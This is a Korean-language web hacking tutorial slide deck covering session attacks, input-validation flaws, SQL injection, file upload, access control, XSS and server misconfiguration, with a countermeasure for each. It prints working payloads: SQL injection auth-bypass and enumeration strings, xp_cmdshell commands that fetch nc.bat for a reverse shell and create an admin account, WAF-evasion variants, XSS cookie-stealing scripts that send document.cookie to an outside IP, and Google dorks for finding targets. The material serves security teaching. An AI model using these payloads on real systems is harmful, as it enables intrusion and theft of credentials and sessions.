Web Hacking Basic hardsoju hardsoju@hanmail.net
Notice 본문서의저작권은저자및 Wise Guys 에게있습니다. 상업적인용도외에어떠한용도 ( 복사, 인용, 수정, 배포 ) 로도사용할수있으며 Wise Guys 의동의없이상업적인목적으로사용됨을금지합니다. 본문서로인해발생한어떠한사건에대한책임도저작권자에게는없음을밝힙니다. 본문서의잘못된부분이나지적이나추가하고싶은내용은저자에게메일을보내기바랍니다.
Index Ⅰ 취약한인증및세션관리 Ⅱ입력값검증부재 Ⅲ 취약한접근통제 Ⅳ XSS(Cross Site Scripting) Ⅴ 부적절한환경설정
Ⅰ 취약한인증및세션관리 1. 대표적인공격유형 2. 쿠키변조 3. Brute Force 4. Session Hijacking
Ⅰ 취약한인증및세션관리 - 웹애플리케이션은사용자들의요청을지속적으로추적하기 위해세션정보를사용하고개별사용자마다독립된세션을 가짐 - 공격자는암호나키, 쿠키, 기타인증관련토큰을공격하여인 증을우회하고다른사용자로위장하거나권한상승시도
1. 대표적인공격유형 쿠키조작 Brute Force Session Hijacking
2. 쿠키변조 쿠키는클라이언트측에저장되고세션또는서버와정보공유를위한데이터가저장됨 1) 쿠키변조예 Set-Cookie:member_id=hardsoju;path=/ Set-Cookie:member_level=5;path=/ # 변조후 Set-Cookie:member_id=admin;path=/
2. 쿠키변조 2) 다양한시도 ID 조작후변화가없다면 member_level 을변경하여 권한상승시도 # 변조후 Set-Cookie:member_level=1;path=/
2. 쿠키변조 3) 평문형태의쿠키정보 사용자정보 쿠키에평문형태로저장되는사용자정보는사용자 전환이나권한도용에노출
2. 쿠키변조 4) 공격가능성 웹프록시나쿠키모니터링툴을이용하여타겟웹사이트의인증및사용자구분메커니즘을파악한후쿠키를변조하여권한상승이나사용자도용.
2. 쿠키변조 5) 대책서버측세션사용하여인증중요정보는쿠키에의존하지않는별도처리메커니즘구현불가피하게사용시암호화
3. Brute Force 사전대입법, 추측등에의한무차별대입공격 1) 공격가능성 자동화된 Brute Forcing 툴을이용 (Brutus-AET2, Hydra, Sessions Brute-Forcer) 2) 대책 로그인실패횟수가특정횟수를초과하면계정잠금및 IP 차단
4. Session Hijacking Session ID 를스니핑이나추측을통해서도용 1) 세션취약성강력하지못한알고리즘길이가짧은 Session ID 세션타임아웃부재 타임아웃부재
4. Session Hijacking 2) 대책 - Session ID를추측불가능하게생성 - Session Timeout 기능 - SSL 통신사용 - 웹페이지요청시마다세션을확인하는메커니즘구현 - 회원정보수정시패스워드를재입력받는구조로, 세션공격에노출되더라도회원정보유출방지
Ⅱ 입력값검증부재 1. 대표적인공격유형 2. 파라미터변조 3. 폼필드변조 4. HTTP 헤더변조 5. 히든필드조작 6. sql injection 7. File Upload
Ⅱ 입력값검증부재 요청값이웹애플리케이션에서처리되기전에검증이이루어 지지않음 # 종류 URI, GET/POST request, 히든필드, 업로드파일확장자등
1. 대표적인공격유형 파라미터변조 폼필드변조 HTTP 헤더변조 히든필드조작 sql injection File Upload
2. 파라미터변조 - 사용자구분및인증과관련된부분이 GET/POST string 으로전해질때의취약점 - GET/POST request는변조가능성존재 1) 변조예 http://www.test.com/member/memberlist.asp?id=hardsoju # 변조후 http://www.test.com/member/memberlist.asp?id=admin
2. 파라미터변조 ID,PASSWORD 노출 GET 방식처리는웹로그에남기때문에로그파일유출시 계정유출로연결
2. 파라미터변조 2) 대책 인증및사용자구분을 request string 에의존하지않게구현 인증처리를위한계정및패스워드폼필드는 POST 방식이용
3. 폼필드변조 사용자의입력값을검증하기위한자바스크립트우회 # 대표적인예 회원가입시주민번호검증루틴우회 업로드파일확장자검증루틴우회
3. 폼필드변조 1) 우회가능성 - 웹프록시를이용한검증우회 - 소스보기를통한검증우회 (html 로저장하여자바스크립트검증루틴을우회한후폼 태그에서 action 페이지로바로전송 )
3. 폼필드변조 2) 웹프록시를이용한검증우회 주민번호검증우회 조작된주민번호
3) 대책 3. 폼필드변조 Server Side Script 를이용한검증
1) HTTP 헤더? 4. HTTP 헤더변조 사용자와서버간에전송되는정보 2) 문제발생요인 헤더정보기반의인증허용, 접근통제는해당값을변조하여 우회가능성 ex) Referer 정보를신뢰하는사이트에서온것처럼변조
4. HTTP 헤더변조 3) 헤더형식 Referer 필드 GET : HTTP 메소드 HTTP Version : 1.0 Accept 필드 : 웹브라우저가서버로부터수신하고하는데이터타입 Referer 필드 : 사용자의접속 URL(www.test.com/index.html)
4. HTTP 헤더변조 4) 대책 - 사용자로부터전달된값을신뢰해서는안됨 - 반드시인증절차를거쳐웹애플리케이션에서접근을 허용하거나거부하는과정을거치도록구현
5. 히든필드조작 1) 히든필드기본형식 <input type= hidden name= 변수명 value= 값 > HTML의일부이기때문에소스보기를통해노출 2) 히든필드변조예 <input type=hidden name= price value= 35000 > # 변조후 <input type=hidden name= price value= 350 >
3) 히든필드조작하기 5. 히든필드조작 주문가격및마일리지변조 주문정보를히든필드로넘기는취약점
4) 히든필드조작결과 5. 히든필드조작 결제금액 : 49 원마일리지 : 1 억
5. 히든필드조작 5) 대책 - 중요정보는서버측에서처리 - 해당값의무결성을검사할수있는루틴추가
6. SQL Injection 데이터베이스와연동되어있는애플리케이션의입력값을 조작하여의도되지않은결과를반환하도록하는공격기법 공격유형 - 인증우회 - 시스템명령실행 - DB 정보조회
6. SQL Injection 1) 인증우회 - 일반적인로그인처리코드 strsql = SELECT user_id, user_pw, name, email, homepage FROM member WHERE user_id = &id& AND user_pw = &password& setrs = Dbconn.execute(strSQL) If not Rs.eof then chkuser = true If trim(id) = or trim(password) = then chkuser = false If chkuser then 로그인성공처리부분
6. SQL Injection -공격가능성 아이디 : or 1=1-- 비밀번호 : 임의값 아이디 : admin 비밀번호 : or 1=1-- 아이디 : or 1=1-- 비밀번호 : or 1=1
6. SQL Injection - 쿼리문주입하기 아이디 : or 1=1-- 비밀번호 : 임의값 SELECT user_id FROM member WHERE user_id = or 1=1 AND password = 임의값 FALSE TRUE 주석처리 TRUE 비밀번호에임의값을입력하여클라이언트사이드스크립트검증을피하고쿼리문상에서는주석처리로인해에러가발생하지않음.
- 실제주입되는쿼리문 6. SQL Injection user_id = &id& AND user_pw = &password& or 1=1-- ( 완성되는쿼리구문 ) 아이디 : or 1=1
6. SQL Injection - 결과 공격성공시테이블의첫번째에있는계정으로로그인. 일반적으로첫번째계정은관리자이거나테스트계정.
- 인증우회패턴 ' or''=' ' or 1=1-- ' or 'a'='a-- 'or'='or' " or 1=1-- " or "a"="a ') or ('a'='a ") or ("a"="a ) or (1=1 or = 6. SQL Injection
6. SQL Injection - 구글검색 inurl:login.asp site:net
6. SQL Injection 2) 에러메시지를이용한정보획득 - having 절을이용한테이블및컬럼명조회 having 1=1--
6. SQL Injection - group by 절을이용한컬럼명조회 group by (user_id)--
6. SQL Injection -ID 조회 or 1=(select top 1 user_id from member)--
6. SQL Injection - PASSWORD 조회 or 1=(select top 1 user_pw from member)--
6. SQL Injection - user name 조회 and user>0--
6. SQL Injection -DB 명조회 and 0<>db_name()--
6. SQL Injection - 모든 DB 명조회 and 1=(select name from master.dbo.sysdatabases whe re dbid=7)-- dbid 를높여가며조회시모든테이블명획득 (1~6 은 system db)
6. SQL Injection - 특정 DB 에서사용자가만든모든테이블명조회 (top 증가 ) and 0<>(select top 1 name from dbo.sysobjects where xtype=char(85))--
6. SQL Injection - 모든테이블명조회 (top 증가 ) and (select top 1 cast(name as varchar(8000)) from(select top 37 id, name from [mall]..[sysobjects] where xtype=char(85) order by name asc, id desc)t order by name desc,id asc)>0--
6. SQL Injection 3) UNION SQL Injection 비정규화된테이블을연결시킬때사용하는 UNION을이용하여정상적인 select문에공격자가 union select 절을주입하여원하는테이블조회. 똑같은컬럼, 표현식이아니라도자료형과순서만맞으면가능. - 제한조건컬럼의수가같아야한다. 데이터타입이같아야한다. 컬럼의이름이정확해야한다.
6. SQL Injection - 제한조건에어긋날경우오류형식 오류메시지를통해컬럼의개수, 타입을추측
6. SQL Injection -공격가능성 DB와연동되어 select 문을처리하고, 처리결과를웹페이지로반환해야함.
6. SQL Injection - 일반적인우편번호검색쿼리문 strsql="select * from zipcode where dong LIKE '%"& dong &"%' 문제발생지점 - 주입할쿼리문화곡동 %' union select '1','1','1',user_id,user_pw,'1','1' from member--
6. SQL Injection - 완성되는공격쿼리문 strsql="select * from zipcode where dong LIKE '%"& dong &"%' union select '1','1','1',user_id,user_pw, '1','1' from member--% 주입된쿼리문 주입된 % 원래의 % %' 를강제삽입하여 LIKE절을마감시키고 UNION을이용하여다른테이블에질의. 원래의 % 는주석처리되어에러가발생하지않음.
6. SQL Injection - TABLE NAME 조회화곡동 %' union select '1','1','1',table_name,'1','1','1' from information_schema.tables-- 테이블명
6. SQL Injection - COLUM NAME, DATA TYPE 조회화곡동 %' union select '1','1','1',table_name,column_name, data_type,'1' from information_schema.columns where table_name='member'-- 컬럼명 타입
6. SQL Injection - MEMBER TABLE 조회화곡동 %' union select '1','1','1',name,user_id,user_pw, '1' from member-- 이름아이디패스워드
6. SQL Injection 4) 확장저장프로시저악용공격시나리오 - 1 1 ping 을통한 xp_cmdshell 활성화여부확인 ;exec master..xp_cmdshell ping 192.168.0.3 --
6. SQL Injection 2 리버스텔넷 ; exec master..xp_cmdshell tftp i 192.168.0.3 get nc.bat & nc.bat -- tftp 로부터 nc.bat 를다운로드하고, nc.bat 는 attack.exe 파일을생성하여공격자 PC 로리버스텔넷
6. SQL Injection 공격자는 8080 port listen nc lvp 8080
3 DB 접속정보획득 6. SQL Injection
6. SQL Injection 4 DB 조회코드작성 방화벽으로인해직접적인접근이불가한경우 DB 접속 정보를분석하여 DB 조회코드를작성 (Server Side Script)
6. SQL Injection 5 DB 정보조회 웹으로접근하여회원정보열람 (DB 를획득하는방법은다양함 )
6. SQL Injection 공격시나리오 - 2 1 터미널서비스실행화곡동 ;exec master..xp_cmdshell net start terminal services --
6. SQL Injection 2 관리자권한계정생성화곡동 ;exec master..xp_cmdshell net user tester 1234 /add -- 화곡동 ;exec master..xp_cmdshell net localgroup administrators tester /add --
3 터미널서비스접속 6. SQL Injection
6. SQL Injection 공격시나리오 - 3 1 테이블정보덤프화곡동 ;exec sp_makewebtask c: inetpub wwwroot asp dump.html, select * from sysobjects where xtype=''u''--
6. SQL Injection 2 회원정보덤프화곡동 ;exec sp_makewebtask c: inetpub wwwroot asp member.html, select * from member --
6. SQL Injection 5) 서명기반탐지우회하기 OR 'Simple' = 'Sim'+'ple' OR 'Simple' LIKE 'Sim%' OR 'Simple' IN ('Simple') OR 'Simple' BETWEEN 'R' AND 'T' UNION /**/ SELECT name /**/UNION/**/SELECT/**/name OrigText'/**/OR/**/'Simple'='Simple' UN/**/ION/**/ SE/**/LECT/**/ EXEC('INS'+'ERT INTO ')
6. SQL Injection 6) 대책 - 데이터베이스와연동을하는스크립트의모든파라미터점검 - 사용자입력값에특수문자가포함되어있는지검사하여, 제거하거나에러처리 id=replace(id,, ) - SQL 서버의에러메시지를사용자에게보여주지않도록설정 - 데이터베이스사용자의권한제한 - php.ini 설정중 magic_quotes_gpc 값을 On으로설정
7. File Upload 1) 확장자필터링우회 asp 파일은업로드불가. 확장자필터링은대소문자조합이나다양한방식으로응용 하여우회가능.
7. File Upload 2) 시스템명령실행 웹쉘을업로드하여시스템명령실행 업로드경로가노출되지않는경우디렉토리추측 ex)data, file, files, image, images 등
7. File Upload 3) 리버스텔넷
7. File Upload 4) 대책 - 업로드디렉토리실행설정제거 - 대소문자조합에대한확장자필터링처리 (Server Side Script) - 업로드확장자허용방식구현 - 업로드된파일이름을임의로변경하여저장
Ⅲ 취약한접근통제 1. 대표적인공격유형 2. 접근통제부재 3. URL 강제접속
Ⅲ 취약한접근통제 - 특정권한이부여된애플리케이션에공격자가인증과정을거치지않고직접접근 - 개발자가의도한경로나순서에의해접근한다고가정하는디자인, 설계자체의결함 - 공격자는민감한정보를열람하거나허용되지않은작업을수행
1. 대표적인공격유형 접근통제부재 URL 강제접속
2. 접근통제부재 1) 설계 / 디자인상의결함 - 개발자가생각하는접근단계 view.asp delete_ok.asp list.asp - 공격자가생각하는접근단계 view.asp delete_ok.asp list.asp delete_ok.asp 에서는세션을체크하지않아다른사용자의게시물을삭제할수있음
2. 접근통제부재 2) 공격가능성 특정게시물삭제나수정시웹프록시를이용해게시물번호를바꾸게되면해당게시물을변조하거나삭제할수있음. 3) 대책 페이지마다세션비교 게시물수정및삭제시비밀번호확인구조
3. URL 강제접속 1) 일반적인관리자페이지 URL 유추 - http://www.test.com/admin - http://www.test.com/admin/admin - http://www.test.com/webmaster
3. URL 강제접속 관리자페이지자체에접근하는것만으로권한을얻거나, 인증을요구하더라도 sql injection 취약점등을이용하여우회
3. URL 강제접속 2) 공격가능성 인증후나타나는중간페이지에대해인증없이강제접속시도 ex) http://www.test.com/admin/memberlist.asp 일반적인접속과정 http://www.test.com/admin/login.asp -> http://www.test.com/admin/memberlist.asp
3. URL 강제접속 3) 구글검색 intitle:admin inurl:com
3. URL 강제접속 4) 대책추측하기어려운관리자페이지사용특정네트워크대역이나아이피만접근가능하도록구현웹서버에서의접근제어
ⅣXSS(CrossSite Scripting) 1. 대표적인공격유형 2. Session ID, Cookie 가져오기
Ⅳ XSS (Cross Site Scripting) - 웹페이지에악의적인스크립트를포함시켜사용자측에서실행되게유도하는공격기법 - 사용자에게입력받은데이터를필터링하지않고그대로동적으로생성된웹페이지에포함하여사용자에게재전송할때발생
1. 대표적인공격유형 Session ID, Cookie 가져오기 1 악의적인스크립트게시 5 권한도용 2 스크립트가포함된게시물클릭 3 스크립트실행 4 Session ID, Cookie
2. Session ID, Cookie 가져오기 1) XSS 취약성확인 <script>alert( XSS )</script>
2. Session ID, Cookie 가져오기 2) 악의적인스크립트게시 스크립트가포함된게시물등록
2. Session ID, Cookie 가져오기 3) Session ID 가져오기 게시물을클릭하게되면공격자의서버로 Session ID 전송
2. Session ID, Cookie 가져오기 4) 사용자전환및권한도용 웹프록시등의툴을이용하여도용한세션아이디적용
2. Session ID, Cookie 가져오기 4) 사용자전환및권한도용 ( 계속 )
2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 <script>document.location='http://192.168.190.80/get.asp?token='+document.coo kie;</script> <script>url="http://192.168.190.80/get.asp?token="+document.cookie;window.ope n(url,width=0,height=0);</script> <<SCRIPT>document.location='http://192.168.190.80/get.asp?token='+document.co okie;//<</script> <<SCRIPT>url="http://192.168.190.80/get.asp?token="+document.cookie;window.op en(url,width=0,height=0);//<</script> <script src=http://192.168.190.80/xss.js></script> <embed src="http://192.168.190.80/xss.swf"></embed> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.location='http://192.168.190.80/get.asp?token='+document.cookie;">
2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 ( 계속 ) <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;"> <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;"> <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> <IMG SRC="jav ascript:document.location='http://192.168.190.80/get.asp?tok en='+document.cookie;">
2. Session ID, Cookie 가져오기 5) 다양한 XSS 패턴 ( 계속 ) <IMG SRC=jav ascript:url="http://192.168.190.80/get.asp?token="+document.c ookie;window.open(url,width=0,height=0);> </title><script>document.location='http://192.168.190.80/get.asp?token='+docu ment.cookie;</script> <IMG SRC="http://192.168.190.80/help.gif" alt="bar" onmouseover="javascript:document.location='http://192.168.190.80/get.asp?t oken='+document.cookie">
6) 대책 2. Session ID, Cookie 가져오기 - data=replace(data,"<","<") 같은코드를사용하여특수문자가입력되면그의미를상실하고단순히출력되게함 변경전 < > ( ) # & 변경후 < > ( ) # & - 사용자입력값에대해 HTML encoding 수행후허용된태그만사용하도록필터링 data=server.htmlencode(data) 'HTML 인코딩후 data=replace(data,"<p>","<p>") ' 허용할태그
Ⅴ 부적절한환경설정 1. 대표적인공격유형 2. 미등록확장자 3. 디렉토리인덱싱 4. 샘플파일방치
Ⅴ 부적절한환경설정 - 웹애플리케이션을운영하는데있어서개발자와시스템 관리자들이실수로놓치게되어발생하는문제 - 기본설정을그대로사용하기때문에발생하는문제
1. 대표적인공격유형 미등록확장자 디렉토리인덱싱 샘플파일방치
2. 미등록확장자 1) 미등록확장자 특정확장자의파일들이서버에서적절하게처리되지못할경우 소스코드노출 ex) - 개발자가사용하는전용에디터는사용자의편의를위해.bak 이란확장자를사용하는백업파일생성 - 관리자가생성한임시파일및원본과동일한백업파일등
2) 백업파일추측하기 2. 미등록확장자 웹페이지명뒤에.bak 등을추가하여추측 DB 접속정보가담긴파일의상대경로및파일명노출
3) DB 접속정보획득 2. 미등록확장자
2. 미등록확장자 4) 구글검색 inurl:com filetype:bak
2. 미등록확장자 5) 대책 - 불필요한파일삭제 - 백업디렉토리는권한설정을통한접근제어
3. 디렉토리인덱싱 - 웹브라우저로특정디렉토리를열면그디렉토리에있는모든파일과디렉토리목록나열 - 미리정의된기본 HTML 파일이존재하지않을경우발생 - 공격자에게시스템정보제공
3. 디렉토리인덱싱 1) 디렉토리구조및중요파일경로노출
3. 디렉토리인덱싱 2) 구글검색 intitle:index.of intext: 이력서
3. 디렉토리인덱싱 3) 대책 - IIS 웹사이트등록정보 디렉터리검색 해제
3. 디렉토리인덱싱 3) 대책 ( 계속 ) - Apache httpd.conf 파일에서 Indexes 항목제거 <Directory /usr/local/www > Options Indexes 제거 </Directory>
3. 디렉토리인덱싱 3) 대책 ( 계속 ) - Tomcat /conf/web.xml 에서 listing 값을 false 로변경 <init-param> <param-name>listing</param-name> <param-value>true</param-value> </init-param> false로변경
4. 샘플파일방치 - 웹서버설치후기본적으로제공되는샘플애플리케이션이나 설정파일은외부에공개되기쉽고, 공격자에게시스템의정보 를제공함 ex) phpinfo.php - 대책정상작동유무만을점검한후제거시스템설정과관련된애플리케이션은별도디렉터리생성하여운용
Q & A
참고자료 웹해킹패턴과대응 - 황순일, 김광진웹보안-최경철정보보안개론과실습 양대일, 김경곤홈페이지개발보안가이드 KISA XSS(Cross Site Scripting) Cheat Sheet RSnake SQL Server 2000 정원혁네이버용어사전 naver.com /* 출처가불분명한다수의인터넷자료를참고하였음 */